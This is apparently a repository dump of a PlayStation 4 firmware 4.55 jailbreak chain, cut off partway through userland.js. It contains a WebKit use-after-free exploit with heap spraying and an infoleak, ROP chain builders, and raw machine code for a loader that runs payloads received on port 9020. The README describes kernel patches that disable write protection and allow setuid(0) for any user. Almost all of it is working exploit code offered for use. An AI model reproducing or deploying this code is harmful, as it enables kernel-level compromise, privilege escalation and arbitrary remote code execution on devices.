├── README.md ├── index.html ├── rop.js ├── loader.js ├── syscalls.js ├── userland.js └── kernel.js /README.md: -------------------------------------------------------------------------------- 1 | # PS4 4.55 Kernel Exploit 2 | --- 3 | ## Summary 4 | In this project you will find a full implementation of the "bpf" kernel exploit for the PlayStation 4 on 4.55. It will allow you to run arbitrary code as kernel, to allow jailbreaking and kernel-level modifications to the system. This release however, *does not* contain any code related to defeating anti-piracy mechanisms or running homebrew. This exploit does include a loader that listens for payloads on port `9020` and will execute them upon receival. 5 | 6 | This bug was discovered by qwertyoruiopz, and can be found hosted on his website [here](http://crack.bargains/455/). 7 | 8 | ## Patches Included 9 | The following patches are made by default in the kernel ROP chain: 10 | 1) Disable kernel write protection 11 | 2) Allow RWX (read-write-execute) memory mapping 12 | 3) Syscall instruction allowed anywhere 13 | 4) Dynamic Resolving (`sys_dynlib_dlsym`) allowed from any process 14 | 4) Custom system call #11 (`kexec()`) to execute arbitrary code in kernel mode 15 | 5) Allow unprivileged users to call `setuid(0)` successfully. Works as a status check, doubles as a privilege escalation. 16 | 17 | ## Notes 18 | - Payloads from 4.05 should be fairly trivial to port unless they use hardcoded kernel offsets 19 | - I've built in a patch so the kernel exploit will only run once on the system, you can make additional patches via payloads. 20 | - A custom syscall is added (#11) to execute any RWX memory in kernel mode, this can be used to execute payloads that want to do fun things like jailbreaking and patching the kernel. 21 | 22 | 23 | ## Contributors 24 | Massive credits to the following: 25 | 26 | - [qwertyoruiopz](https://twitter.com/qwertyoruiopz) 27 | - [Flatz](https://twitter.com/flat_z) 28 | - Anonymous 29 | -------------------------------------------------------------------------------- /index.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | PS4Brew 4.55 5 | 6 | 55 | 56 | 57 | 58 |
59 | 60 | 63 | 64 | 67 | 68 | 71 | 72 | 80 | 81 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | -------------------------------------------------------------------------------- /rop.js: -------------------------------------------------------------------------------- 1 | // Basic memory functions 2 | function malloc(size) 3 | { 4 | var backing = new Uint8Array(0x10000 + size); 5 | 6 | window.nogc.push(backing); 7 | 8 | var ptr = p.read8(p.leakval(backing).add32(0x10)); 9 | ptr.backing = backing; 10 | 11 | return ptr; 12 | } 13 | 14 | function mallocu32(size) { 15 | var backing = new Uint8Array(0x10000 + size * 4); 16 | 17 | window.nogc.push(backing); 18 | 19 | var ptr = p.read8(p.leakval(backing).add32(0x10)); 20 | ptr.backing = new Uint32Array(backing.buffer); 21 | 22 | return ptr; 23 | } 24 | 25 | function stringify(str) 26 | { 27 | var bufView = new Uint8Array(str.length + 1); 28 | 29 | for(var i=0; i < str.length; i++) { 30 | bufView[i] = str.charCodeAt(i) & 0xFF; 31 | } 32 | 33 | window.nogc.push(bufView); 34 | return p.read8(p.leakval(bufView).add32(0x10)); 35 | } 36 | 37 | // Class for quickly creating a kernel ROP chain 38 | var krop = function (p, addr) { 39 | // Contains base and stack pointer for fake stack (this.stackBase = RBP, this.stackPointer = RSP) 40 | this.stackBase = addr; 41 | this.stackPointer = 0; 42 | 43 | // Push instruction / value onto fake stack 44 | this.push = function (val) { 45 | p.write8(this.stackBase.add32(this.stackPointer), val); 46 | this.stackPointer += 8; 47 | }; 48 | 49 | // Write to address with value (helper function) 50 | this.write64 = function (addr, val) { 51 | this.push(window.gadgets["pop rdi"]); 52 | this.push(addr); 53 | this.push(window.gadgets["pop rax"]); 54 | this.push(val); 55 | this.push(window.gadgets["mov [rdi], rax"]); 56 | } 57 | 58 | // Return krop object 59 | return this; 60 | }; 61 | 62 | // Class for quickly creating and managing a ROP chain 63 | window.rop = function() { 64 | this.stack = new Uint32Array(0x10000); 65 | this.stackBase = p.read8(p.leakval(this.stack).add32(0x10)); 66 | this.count = 0; 67 | 68 | this.clear = function() { 69 | this.count = 0; 70 | this.runtime = undefined; 71 | 72 | for(var i = 0; i < 0xFF0 / 2; i++) 73 | { 74 | p.write8(this.stackBase.add32(i*8), 0); 75 | } 76 | }; 77 | 78 | this.pushSymbolic = function() { 79 | this.count++; 80 | return this.count-1; 81 | } 82 | 83 | this.finalizeSymbolic = function(idx, val) { 84 | p.write8(this.stackBase.add32(idx * 8), val); 85 | } 86 | 87 | this.push = function(val) { 88 | this.finalizeSymbolic(this.pushSymbolic(), val); 89 | } 90 | 91 | this.push_write8 = function(where, what) 92 | { 93 | this.push(gadgets["pop rdi"]); // pop rdi 94 | this.push(where); // where 95 | this.push(gadgets["pop rsi"]); // pop rsi 96 | this.push(what); // what 97 | this.push(gadgets["mov [rdi], rsi"]); // perform write 98 | } 99 | 100 | this.fcall = function (rip, rdi, rsi, rdx, rcx, r8, r9) 101 | { 102 | if (rdi != undefined) { 103 | this.push(gadgets["pop rdi"]); // pop rdi 104 | this.push(rdi); // what 105 | } 106 | if (rsi != undefined) { 107 | this.push(gadgets["pop rsi"]); // pop rsi 108 | this.push(rsi); // what 109 | } 110 | if (rdx != undefined) { 111 | this.push(gadgets["pop rdx"]); // pop rdx 112 | this.push(rdx); // what 113 | } 114 | if (rcx != undefined) { 115 | this.push(gadgets["pop rcx"]); // pop r10 116 | this.push(rcx); // what 117 | } 118 | if (r8 != undefined) { 119 | this.push(gadgets["pop r8"]); // pop r8 120 | this.push(r8); // what 121 | } 122 | if (r9 != undefined) { 123 | this.push(gadgets["pop r9"]); // pop r9 124 | this.push(r9); // what*/ 125 | } 126 | 127 | this.push(rip); // jmp 128 | return this; 129 | } 130 | 131 | this.run = function() { 132 | var retv = p.loadchain(this, this.notimes); 133 | this.clear(); 134 | return retv; 135 | } 136 | 137 | return this; 138 | }; -------------------------------------------------------------------------------- /loader.js: -------------------------------------------------------------------------------- 1 | function writeLoader(p, addr) { 2 | p.write4(addr.add32(0x00000000), 0x00000be9); 3 | p.write4(addr.add32(0x00000004), 0x0f2e6600); 4 | p.write4(addr.add32(0x00000008), 0x0000841f); 5 | p.write4(addr.add32(0x0000000C), 0x90000000); 6 | p.write4(addr.add32(0x00000010), 0x54415541); 7 | p.write4(addr.add32(0x00000014), 0x83485355); 8 | p.write4(addr.add32(0x00000018), 0xd23118ec); 9 | p.write4(addr.add32(0x0000001C), 0x000001be); 10 | p.write4(addr.add32(0x00000020), 0x0002bf00); 11 | p.write4(addr.add32(0x00000024), 0x04c60000); 12 | p.write4(addr.add32(0x00000028), 0xb8481024); 13 | p.write4(addr.add32(0x0000002C), 0x2610012f); 14 | p.write4(addr.add32(0x00000030), 0x00000009); 15 | p.write4(addr.add32(0x00000034), 0x012444c6); 16 | p.write4(addr.add32(0x00000038), 0x08bc4902); 17 | p.write4(addr.add32(0x0000003C), 0x09261001); 18 | p.write4(addr.add32(0x00000040), 0xc7000000); 19 | p.write4(addr.add32(0x00000044), 0x00042444); 20 | p.write4(addr.add32(0x00000048), 0x66000000); 21 | p.write4(addr.add32(0x0000004C), 0x022444c7); 22 | p.write4(addr.add32(0x00000050), 0x44c63c23); 23 | p.write4(addr.add32(0x00000054), 0xc6000a24); 24 | p.write4(addr.add32(0x00000058), 0x000b2444); 25 | p.write4(addr.add32(0x0000005C), 0x0c2444c6); 26 | p.write4(addr.add32(0x00000060), 0x2444c600); 27 | p.write4(addr.add32(0x00000064), 0x44c6000d); 28 | p.write4(addr.add32(0x00000068), 0xc6000e24); 29 | p.write4(addr.add32(0x0000006C), 0x000f2444); 30 | p.write4(addr.add32(0x00000070), 0x10bad0ff); 31 | p.write4(addr.add32(0x00000074), 0x48000000); 32 | p.write4(addr.add32(0x00000078), 0x8941e689); 33 | p.write4(addr.add32(0x0000007C), 0x48c789c5); 34 | p.write4(addr.add32(0x00000080), 0x10013cb8); 35 | p.write4(addr.add32(0x00000084), 0x00000926); 36 | p.write4(addr.add32(0x00000088), 0xbed0ff00); 37 | p.write4(addr.add32(0x0000008C), 0x0000000a); 38 | p.write4(addr.add32(0x00000090), 0x48ef8944); 39 | p.write4(addr.add32(0x00000094), 0x100149b8); 40 | p.write4(addr.add32(0x00000098), 0x00000926); 41 | p.write4(addr.add32(0x0000009C), 0x31d0ff00); 42 | p.write4(addr.add32(0x000000A0), 0x44f631d2); 43 | p.write4(addr.add32(0x000000A4), 0xb848ef89); 44 | p.write4(addr.add32(0x000000A8), 0x26100122); 45 | p.write4(addr.add32(0x000000AC), 0x00000009); 46 | p.write4(addr.add32(0x000000B0), 0xc589d0ff); 47 | p.write4(addr.add32(0x000000B4), 0x0000b848); 48 | p.write4(addr.add32(0x000000B8), 0x00092620); 49 | p.write4(addr.add32(0x000000BC), 0x00c60000); 50 | p.write4(addr.add32(0x000000C0), 0xc38948c3); 51 | p.write4(addr.add32(0x000000C4), 0x906607eb); 52 | p.write4(addr.add32(0x000000C8), 0x01489848); 53 | p.write4(addr.add32(0x000000CC), 0x1000bac3); 54 | p.write4(addr.add32(0x000000D0), 0x89480000); 55 | p.write4(addr.add32(0x000000D4), 0x41ef89de); 56 | p.write4(addr.add32(0x000000D8), 0xc085d4ff); 57 | p.write4(addr.add32(0x000000DC), 0x8944ea7f); 58 | p.write4(addr.add32(0x000000E0), 0x15bb48ef); 59 | p.write4(addr.add32(0x000000E4), 0x09261001); 60 | p.write4(addr.add32(0x000000E8), 0xff000000); 61 | p.write4(addr.add32(0x000000EC), 0xffef89d3); 62 | p.write4(addr.add32(0x000000F0), 0x00b848d3); 63 | p.write4(addr.add32(0x000000F4), 0x09262000); 64 | p.write4(addr.add32(0x000000F8), 0xff000000); 65 | p.write4(addr.add32(0x000000FC), 0xc48348d0); 66 | p.write4(addr.add32(0x00000100), 0x415d5b18); 67 | p.write4(addr.add32(0x00000104), 0xc35d415c); 68 | p.write4(addr.add32(0x00000108), 0x03c0c748); 69 | p.write4(addr.add32(0x0000010C), 0x49000000); 70 | p.write4(addr.add32(0x00000110), 0x050fca89); 71 | p.write4(addr.add32(0x00000114), 0xc0c748c3); 72 | p.write4(addr.add32(0x00000118), 0x00000006); 73 | p.write4(addr.add32(0x0000011C), 0x0fca8949); 74 | p.write4(addr.add32(0x00000120), 0xc748c305); 75 | p.write4(addr.add32(0x00000124), 0x00001ec0); 76 | p.write4(addr.add32(0x00000128), 0xca894900); 77 | p.write4(addr.add32(0x0000012C), 0x48c3050f); 78 | p.write4(addr.add32(0x00000130), 0x0061c0c7); 79 | p.write4(addr.add32(0x00000134), 0x89490000); 80 | p.write4(addr.add32(0x00000138), 0xc3050fca); 81 | p.write4(addr.add32(0x0000013C), 0x68c0c748); 82 | p.write4(addr.add32(0x00000140), 0x49000000); 83 | p.write4(addr.add32(0x00000144), 0x050fca89); 84 | p.write4(addr.add32(0x00000148), 0xc0c748c3); 85 | p.write4(addr.add32(0x0000014C), 0x0000006a); 86 | p.write4(addr.add32(0x00000150), 0x0fca8949); 87 | p.write4(addr.add32(0x00000154), 0x0000c305); 88 | p.write4(addr.add32(0x00000158), 0x00000014); 89 | p.write4(addr.add32(0x0000015C), 0x00000000); 90 | p.write4(addr.add32(0x00000160), 0x00527a01); 91 | p.write4(addr.add32(0x00000164), 0x01107801); 92 | p.write4(addr.add32(0x00000168), 0x08070c1b); 93 | p.write4(addr.add32(0x0000016C), 0x00000190); 94 | p.write4(addr.add32(0x00000170), 0x00000034); 95 | p.write4(addr.add32(0x00000174), 0x0000001c); 96 | p.write4(addr.add32(0x00000178), 0xfffffe98); 97 | p.write4(addr.add32(0x0000017C), 0x000000f8); 98 | p.write4(addr.add32(0x00000180), 0x100e4200); 99 | p.write4(addr.add32(0x00000184), 0x0e42028d); 100 | p.write4(addr.add32(0x00000188), 0x41038c18); 101 | p.write4(addr.add32(0x0000018C), 0x0486200e); 102 | p.write4(addr.add32(0x00000190), 0x83280e41); 103 | p.write4(addr.add32(0x00000194), 0x400e4405); 104 | p.write4(addr.add32(0x00000198), 0x280ee702); 105 | p.write4(addr.add32(0x0000019C), 0x41200e41); 106 | p.write4(addr.add32(0x000001A0), 0x0e42180e); 107 | p.write4(addr.add32(0x000001A4), 0x080e4210); 108 | p.write4(addr.add32(0x000001A8), 0x3b031b01); 109 | p.write4(addr.add32(0x000001AC), 0xffffffac); 110 | p.write4(addr.add32(0x000001B0), 0x00000001); 111 | p.write4(addr.add32(0x000001B4), 0xfffffe68); 112 | p.write4(addr.add32(0x000001B8), 0xffffffc8); 113 | } 114 | -------------------------------------------------------------------------------- /syscalls.js: -------------------------------------------------------------------------------- 1 | window.nameforsyscall = swapkeyval(window.syscallnames); 2 | window.syscalls = {}; 3 | 4 | /* Get syscall name by index */ 5 | function swapkeyval(json){ 6 | var ret = {}; 7 | for(var key in json){ 8 | if (json.hasOwnProperty(key)) { 9 | ret[json[key]] = key; 10 | } 11 | } 12 | return ret; 13 | } 14 | 15 | /* A long ass map of system call names -> number, you shouldn't need to touch this */ 16 | window.syscallnames = 17 | { 18 | "sys_exit": 1, 19 | "sys_fork": 2, 20 | "sys_read": 3, 21 | "sys_write": 4, 22 | "sys_open": 5, 23 | "sys_close": 6, 24 | "sys_wait4": 7, 25 | "sys_unlink": 10, 26 | "sys_chdir": 12, 27 | "sys_chmod": 15, 28 | "sys_getpid": 20, 29 | "sys_setuid": 23, 30 | "sys_getuid": 24, 31 | "sys_geteuid": 25, 32 | "sys_recvmsg": 27, 33 | "sys_sendmsg": 28, 34 | "sys_recvfrom": 29, 35 | "sys_accept": 30, 36 | "sys_getpeername": 31, 37 | "sys_getsockname": 32, 38 | "sys_access": 33, 39 | "sys_chflags": 34, 40 | "sys_fchflags": 35, 41 | "sys_sync": 36, 42 | "sys_kill": 37, 43 | "sys_stat": 38, 44 | "sys_getppid": 39, 45 | "sys_dup": 41, 46 | "sys_pipe": 42, 47 | "sys_getegid": 43, 48 | "sys_profil": 44, 49 | "sys_getgid": 47, 50 | "sys_getlogin": 49, 51 | "sys_setlogin": 50, 52 | "sys_sigaltstack": 53, 53 | "sys_ioctl": 54, 54 | "sys_reboot": 55, 55 | "sys_revoke": 56, 56 | "sys_execve": 59, 57 | "sys_msync": 65, 58 | "sys_munmap": 73, 59 | "sys_mprotect": 74, 60 | "sys_madvise": 75, 61 | "sys_mincore": 78, 62 | "sys_getgroups": 79, 63 | "sys_setgroups": 80, 64 | "sys_setitimer": 83, 65 | "sys_getitimer": 86, 66 | "sys_getdtablesize": 89, 67 | "sys_dup2": 90, 68 | "sys_fcntl": 92, 69 | "sys_select": 93, 70 | "sys_fsync": 95, 71 | "sys_setpriority": 96, 72 | "sys_socket": 97, 73 | "sys_connect": 98, 74 | "sys_getpriority": 100, 75 | "sys_send": 101, 76 | "sys_recv": 102, 77 | "sys_bind": 104, 78 | "sys_setsockopt": 105, 79 | "sys_listen": 106, 80 | "sys_recvmsg": 113, 81 | "sys_sendmsg": 114, 82 | "sys_gettimeofday": 116, 83 | "sys_getrusage": 117, 84 | "sys_getsockopt": 118, 85 | "sys_readv": 120, 86 | "sys_writev": 121, 87 | "sys_settimeofday": 122, 88 | "sys_fchmod": 124, 89 | "sys_recvfrom": 125, 90 | "sys_setreuid": 126, 91 | "sys_setregid": 127, 92 | "sys_rename": 128, 93 | "sys_flock": 131, 94 | "sys_sendto": 133, 95 | "sys_shutdown": 134, 96 | "sys_socketpair": 135, 97 | "sys_mkdir": 136, 98 | "sys_rmdir": 137, 99 | "sys_utimes": 138, 100 | "sys_adjtime": 140, 101 | "sys_getpeername": 141, 102 | "sys_setsid": 147, 103 | "sys_sysarch": 165, 104 | "sys_setegid": 182, 105 | "sys_seteuid": 183, 106 | "sys_fstat": 189, 107 | "sys_lstat": 190, 108 | "sys_pathconf": 191, 109 | "sys_fpathconf": 192, 110 | "sys_getrlimit": 194, 111 | "sys_setrlimit": 195, 112 | "sys_getdirentries": 196, 113 | "sys___sysctl": 202, 114 | "sys_mlock": 203, 115 | "sys_munlock": 204, 116 | "sys_futimes": 206, 117 | "sys_poll": 209, 118 | "sys_clock_gettime": 232, 119 | "sys_clock_settime": 233, 120 | "sys_clock_getres": 234, 121 | "sys_ktimer_create": 235, 122 | "sys_ktimer_delete": 236, 123 | "sys_ktimer_settime": 237, 124 | "sys_ktimer_gettime": 238, 125 | "sys_ktimer_getoverrun": 239, 126 | "sys_nanosleep": 240, 127 | "sys_rfork": 251, 128 | "sys_issetugid": 253, 129 | "sys_getdents": 272, 130 | "sys_preadv": 289, 131 | "sys_pwritev": 290, 132 | "sys_getsid": 310, 133 | "sys_aio_suspend": 315, 134 | "sys_mlockall": 324, 135 | "sys_munlockall": 325, 136 | "sys_sched_setparam": 327, 137 | "sys_sched_getparam": 328, 138 | "sys_sched_setscheduler": 329, 139 | "sys_sched_getscheduler": 330, 140 | "sys_sched_yield": 331, 141 | "sys_sched_get_priority_max": 332, 142 | "sys_sched_get_priority_min": 333, 143 | "sys_sched_rr_get_interval": 334, 144 | "sys_utrace": 335, 145 | "sys_sigprocmask": 340, 146 | "sys_sigprocmask": 340, 147 | "sys_sigsuspend": 341, 148 | "sys_sigpending": 343, 149 | "sys_sigtimedwait": 345, 150 | "sys_sigwaitinfo": 346, 151 | "sys_kqueue": 362, 152 | "sys_kevent": 363, 153 | "sys_uuidgen": 392, 154 | "sys_sendfile": 393, 155 | "sys_fstatfs": 397, 156 | "sys_ksem_close": 400, 157 | "sys_ksem_post": 401, 158 | "sys_ksem_wait": 402, 159 | "sys_ksem_trywait": 403, 160 | "sys_ksem_init": 404, 161 | "sys_ksem_open": 405, 162 | "sys_ksem_unlink": 406, 163 | "sys_ksem_getvalue": 407, 164 | "sys_ksem_destroy": 408, 165 | "sys_sigaction": 416, 166 | "sys_sigreturn": 417, 167 | "sys_getcontext": 421, 168 | "sys_setcontext": 422, 169 | "sys_swapcontext": 423, 170 | "sys_sigwait": 429, 171 | "sys_thr_create": 430, 172 | "sys_thr_exit": 431, 173 | "sys_thr_self": 432, 174 | "sys_thr_kill": 433, 175 | "sys_ksem_timedwait": 441, 176 | "sys_thr_suspend": 442, 177 | "sys_thr_wake": 443, 178 | "sys_kldunloadf": 444, 179 | "sys__umtx_op": 454, 180 | "sys__umtx_op": 454, 181 | "sys_thr_new": 455, 182 | "sys_sigqueue": 456, 183 | "sys_thr_set_name": 464, 184 | "sys_rtprio_thread": 466, 185 | "sys_pread": 475, 186 | "sys_pwrite": 476, 187 | "sys_mmap": 477, 188 | "sys_lseek": 478, 189 | "sys_truncate": 479, 190 | "sys_ftruncate": 480, 191 | "sys_thr_kill2": 481, 192 | "sys_shm_open": 482, 193 | "sys_shm_unlink": 483, 194 | "sys_cpuset_getid": 486, 195 | "sys_cpuset_getaffinity": 487, 196 | "sys_cpuset_setaffinity": 488, 197 | "sys_openat": 499, 198 | "sys_pselect": 522, 199 | 200 | "sys_regmgr_call": 532, 201 | "sys_jitshm_create": 533, 202 | "sys_jitshm_alias": 534, 203 | "sys_dl_get_list": 535, 204 | "sys_dl_get_info": 536, 205 | "sys_dl_notify_event": 537, 206 | "sys_evf_create": 538, 207 | "sys_evf_delete": 539, 208 | "sys_evf_open": 540, 209 | "sys_evf_close": 541, 210 | "sys_evf_wait": 542, 211 | "sys_evf_trywait": 543, 212 | "sys_evf_set": 544, 213 | "sys_evf_clear": 545, 214 | "sys_evf_cancel": 546, 215 | "sys_query_memory_protection": 47, 216 | "sys_batch_map": 548, 217 | "sys_osem_create": 549, 218 | "sys_osem_delete": 550, 219 | "sys_osem_open": 551, 220 | "sys_osem_close": 552, 221 | "sys_osem_wait": 553, 222 | "sys_osem_trywait": 554, 223 | "sys_osem_post": 555, 224 | "sys_osem_cancel": 556, 225 | "sys_namedobj_create": 557, 226 | "sys_namedobj_delete": 558, 227 | "sys_set_vm_container": 559, 228 | "sys_debug_init": 560, 229 | "sys_suspend_process": 561, 230 | "sys_resume_process": 562, 231 | "sys_opmc_enable": 563, 232 | "sys_opmc_disable": 564, 233 | "sys_opmc_set_ctl": 565, 234 | "sys_opmc_set_ctr": 566, 235 | "sys_opmc_get_ctr": 567, 236 | "sys_budget_create": 568, 237 | "sys_budget_delete": 569, 238 | "sys_budget_get": 570, 239 | "sys_budget_set": 571, 240 | "sys_virtual_query": 572, 241 | "sys_mdbg_call": 573, 242 | "sys_sblock_create": 574, 243 | "sys_sblock_delete": 575, 244 | "sys_sblock_enter": 576, 245 | "sys_sblock_exit": 577, 246 | "sys_sblock_xenter": 578, 247 | "sys_sblock_xexit": 579, 248 | "sys_eport_create": 580, 249 | "sys_eport_delete": 581, 250 | "sys_eport_trigger": 582, 251 | "sys_eport_open": 583, 252 | "sys_eport_close": 584, 253 | "sys_is_in_sandbox": 585, 254 | "sys_dmem_container": 586, 255 | "sys_get_authinfo": 587, 256 | "sys_mname": 588, 257 | "sys_dynlib_dlopen": 589, 258 | "sys_dynlib_dlclose": 590, 259 | "sys_dynlib_dlsym": 591, 260 | "sys_dynlib_get_list": 592, 261 | "sys_dynlib_get_info": 593, 262 | "sys_dynlib_load_prx": 594, 263 | "sys_dynlib_unload_prx": 595, 264 | "sys_dynlib_do_copy_relocations": 596, 265 | "sys_dynlib_prepare_dlclose": 597, 266 | "sys_dynlib_get_proc_param": 598, 267 | "sys_dynlib_process_needed_and_relocate": 599, 268 | "sys_sandbox_path": 600, 269 | "sys_mdbg_service": 601, 270 | "sys_randomized_path": 602, 271 | "sys_rdup": 603, 272 | "sys_dl_get_metadata": 604, 273 | "sys_workaround8849": 605, 274 | "sys_is_development_mode": 606, 275 | "sys_get_self_auth_info": 607, 276 | "sys_dynlib_get_info_ex": 608, 277 | "sys_budget_get_ptype": 610, 278 | "sys_budget_getid": 609, 279 | "sys_get_paging_stats_of_all_threads": 611, 280 | "sys_get_proc_type_info": 612, 281 | "sys_get_resident_count": 613, 282 | "sys_prepare_to_suspend_process": 614, 283 | "sys_get_resident_fmem_count": 615, 284 | "sys_thr_get_name": 616, 285 | "sys_set_gpo": 617, 286 | "sys_thr_suspend_ucontext": 632, 287 | "sys_thr_resume_ucontext": 633, 288 | "sys_thr_get_ucontext": 634 289 | } 290 | -------------------------------------------------------------------------------- /userland.js: -------------------------------------------------------------------------------- 1 | /////////////////// UTILITY STUFF /////////////////// 2 | 3 | function makeid() { 4 | var text = ""; 5 | var possible = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"; 6 | 7 | for( var i=0; i < 8; i++ ) 8 | text += possible.charAt(Math.floor(Math.random() * possible.length)); 9 | 10 | return text; 11 | }; 12 | 13 | var instancespr = []; 14 | 15 | for(var i=0; i<2048; i++) { 16 | instancespr[i] = {}; 17 | instancespr[i][makeid()] = 50057; /* spray 4-field Object InstanceIDs */ 18 | } 19 | for(var i=2048; i<4096; i++) { 20 | instancespr[i] = new Uint32Array(1); 21 | instancespr[i][makeid()] = 50057; /* spray 4-field Object InstanceIDs */ 22 | } 23 | 24 | var _dview; 25 | 26 | function u2d(low, hi) { 27 | if (!_dview) _dview = new DataView(new ArrayBuffer(16)); 28 | _dview.setUint32(0, hi); 29 | _dview.setUint32(4, low); 30 | return _dview.getFloat64(0); 31 | } 32 | 33 | function int64(low,hi) { 34 | this.low = (low>>>0); 35 | this.hi = (hi>>>0); 36 | 37 | this.add32inplace = function(val) { 38 | var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; 39 | var new_hi = (this.hi >>> 0); 40 | 41 | if (new_lo < this.low) { 42 | new_hi++; 43 | } 44 | 45 | this.hi=new_hi; 46 | this.low=new_lo; 47 | } 48 | 49 | this.add32 = function(val) { 50 | var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; 51 | var new_hi = (this.hi >>> 0); 52 | 53 | if (new_lo < this.low) { 54 | new_hi++; 55 | } 56 | 57 | return new int64(new_lo, new_hi); 58 | } 59 | 60 | this.sub32 = function(val) { 61 | var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; 62 | var new_hi = (this.hi >>> 0); 63 | 64 | if (new_lo > (this.low) & 0xFFFFFFFF) { 65 | new_hi--; 66 | } 67 | 68 | return new int64(new_lo, new_hi); 69 | } 70 | 71 | this.sub32inplace = function(val) { 72 | var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; 73 | var new_hi = (this.hi >>> 0); 74 | 75 | if (new_lo > (this.low) & 0xFFFFFFFF) { 76 | new_hi--; 77 | } 78 | 79 | this.hi=new_hi; 80 | this.low=new_lo; 81 | } 82 | 83 | this.and32 = function(val) { 84 | var new_lo = this.low & val; 85 | var new_hi = this.hi; 86 | return new int64(new_lo, new_hi); 87 | } 88 | 89 | this.and64 = function(vallo, valhi) { 90 | var new_lo = this.low & vallo; 91 | var new_hi = this.hi & valhi; 92 | return new int64(new_lo, new_hi); 93 | } 94 | 95 | this.toString = function(val) { 96 | val = 16; 97 | var lo_str = (this.low >>> 0).toString(val); 98 | var hi_str = (this.hi >>> 0).toString(val); 99 | 100 | if(this.hi == 0) 101 | return lo_str; 102 | else 103 | lo_str = zeroFill(lo_str, 8) 104 | 105 | return hi_str+lo_str; 106 | } 107 | 108 | this.toPacked = function() { 109 | return {hi: this.hi, low: this.low}; 110 | } 111 | 112 | this.setPacked = function(pck) { 113 | this.hi=pck.hi; 114 | this.low=pck.low; 115 | return this; 116 | } 117 | 118 | return this; 119 | } 120 | 121 | function zeroFill(number, width ) { 122 | width -= number.toString().length; 123 | 124 | if (width > 0) { 125 | return new Array(width + (/\./.test( number ) ? 2 : 1)).join('0') + number; 126 | } 127 | 128 | return number + ""; // always return a string 129 | } 130 | 131 | var nogc = []; 132 | 133 | /////////////////// STAGE 1: INFOLEAK /////////////////// 134 | 135 | failed = false 136 | 137 | // Spray a bunch of JSObjects on the heap for stability 138 | for(var i = 0; i < 0x4000; i++) { 139 | nogc.push({a: 0, b: 0, c: 0, d: 0}); 140 | } 141 | 142 | // Target JSObject for overlap 143 | var tgt = {a: 0, b: 0, c: 0, d: 0} 144 | 145 | for(var i = 0; i < 0x400; i++) { 146 | nogc.push({a: 0, b: 0, c: 0, d: 0}); 147 | } 148 | 149 | var y = new ImageData(1, 0x4000) 150 | postMessage("", "*", [y.data.buffer]); 151 | 152 | // Spray properties to ensure object is fastmalloc()'d and can be found easily later 153 | var props = {}; 154 | 155 | for(var i = 0; (i < (0x4000 / 2));) { 156 | props[i++] = {value: 0x42424242}; 157 | props[i++] = {value: tgt}; 158 | } 159 | 160 | // Find address of JSValue by leaking one of the JSObject's we sprayed 161 | var foundLeak = undefined; 162 | var foundIndex = 0; 163 | var maxCount = 0x100; 164 | 165 | // Only check 256 times, should rarely fail 166 | while(foundLeak == undefined && maxCount > 0) { 167 | maxCount--; 168 | 169 | history.pushState(y, ""); 170 | 171 | Object.defineProperties({}, props); 172 | 173 | var leak = new Uint32Array(history.state.data.buffer); 174 | 175 | // Check memory against known values such as 0x42424242 JSValue and empty JSObject values 176 | for(var i = 0; i < leak.length - 6; i++) { 177 | if( 178 | leak[i] == 0x42424242 && 179 | leak[i + 0x1] == 0xFFFF0000 && 180 | leak[i + 0x2] == 0x00000000 && 181 | leak[i + 0x3] == 0x00000000 && 182 | leak[i + 0x4] == 0x00000000 && 183 | leak[i + 0x5] == 0x00000000 && 184 | leak[i + 0x6] == 0x0000000E && 185 | leak[i + 0x7] == 0x00000000 && 186 | leak[i + 0xA] == 0x00000000 && 187 | leak[i + 0xB] == 0x00000000 && 188 | leak[i + 0xC] == 0x00000000 && 189 | leak[i + 0xD] == 0x00000000 && 190 | leak[i + 0xE] == 0x0000000E && 191 | leak[i + 0xF] == 0x00000000 192 | ) { 193 | foundIndex = i; 194 | foundLeak = leak; 195 | break; 196 | } 197 | } 198 | } 199 | 200 | // Oh no :( 201 | if(!foundLeak) { 202 | failed = true 203 | fail("Failed to find leak!") 204 | } 205 | 206 | // Get first JSValue 207 | var firstLeak = Array.prototype.slice.call(foundLeak, foundIndex, foundIndex + 0x40); 208 | var leakJSVal = new int64(firstLeak[8], firstLeak[9]); 209 | leakJSVal.toString(); 210 | 211 | // Spray and clear 212 | for(var i = 0; i < 0x4000; i++) { 213 | var lol = {a: 0, b: 0, c: 0, d: 0}; 214 | } 215 | 216 | // Force garbage collection via memory pressure 217 | var dgc = function() { 218 | for (var i = 0; i < 0x100; i++) { 219 | new ArrayBuffer(0x100000); 220 | } 221 | } 222 | 223 | /////////////////// STAGE 2: UAF /////////////////// 224 | 225 | // Userland pwnage 226 | function exploit() { 227 | if(failed) { 228 | return; 229 | } 230 | 231 | try { 232 | var src = document.createAttribute('src'); 233 | src.value = 'javascript:parent.callback()'; 234 | 235 | var d = document.createElement('div'); 236 | 237 | // Sandwich our target iframe 238 | for(var i = 0; i < 0x4000; i++) { 239 | nogc.push(document.createElement('iframe')); 240 | } 241 | 242 | var f = document.body.appendChild(document.createElement('iframe')); 243 | 244 | for(var i = 0; i < 0x4000; i++) { 245 | nogc.push(document.createElement('iframe')); 246 | } 247 | 248 | // Free the iframe! 249 | window.callback = () => { 250 | window.callback = null; 251 | 252 | d.setAttributeNodeNS(src); 253 | f.setAttributeNodeNS(document.createAttribute('src')); 254 | }; 255 | 256 | f.name = "lol"; 257 | f.setAttributeNodeNS(src); 258 | f.remove(); 259 | 260 | f = null; 261 | src = null; 262 | nogc.length=0; 263 | dgc(); 264 | 265 | /////////////////// STAGE 3: HEAP SPRAY /////////////////// 266 | 267 | // Setup spray variables 268 | var objSpray = 0x10000; 269 | var objSz = 0x90; 270 | var objs = new Array(objSpray); 271 | 272 | // Spray the heap with MarkedArgumentBuffers to corrupt iframe JSObject's backing memory. ImageData does this well. 273 | for(var i = 0; i < objSpray; i++) { 274 | objs[i] = new ImageData(1, objSz / 4); 275 | } 276 | 277 | for(var i = 0; i < objSpray; i++) { 278 | objs[i] = new Uint32Array(objs[i].data.buffer); 279 | } 280 | 281 | /////////////////// STAGE 4: 